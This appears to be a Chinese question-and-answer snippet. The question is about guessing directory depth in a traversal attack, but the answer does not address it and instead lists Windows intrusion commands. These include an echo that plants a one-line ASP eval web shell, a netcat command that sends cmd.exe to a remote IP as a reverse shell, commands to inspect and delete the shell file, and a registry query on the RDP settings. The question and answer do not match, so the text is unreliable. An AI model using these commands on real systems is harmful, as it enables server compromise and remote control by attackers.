Question

目录遍历如何猜测攻击者不得不去猜测需要往上多少层才能找到windows目录

Answer 1

echo ^<%eval request(“#”)%^> >C:\wmpub\hkfe666\h4ck.asp Md hack 创建hack文件夹 本地nc -vv -p -l 端口 服务器 nc路径 -e cmd路径 ip 端口 Rd hack 删除hack文件夹 Type d:\wwwroot\hack.asp 查看一句话木马的内容 Del d:\wwwroot\hack.asp 删除hack.asp Dir c:\ 查看c盘根目录全部文件夹和文件信息 Tree e:\ 显示e盘文件目录树 reg query “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp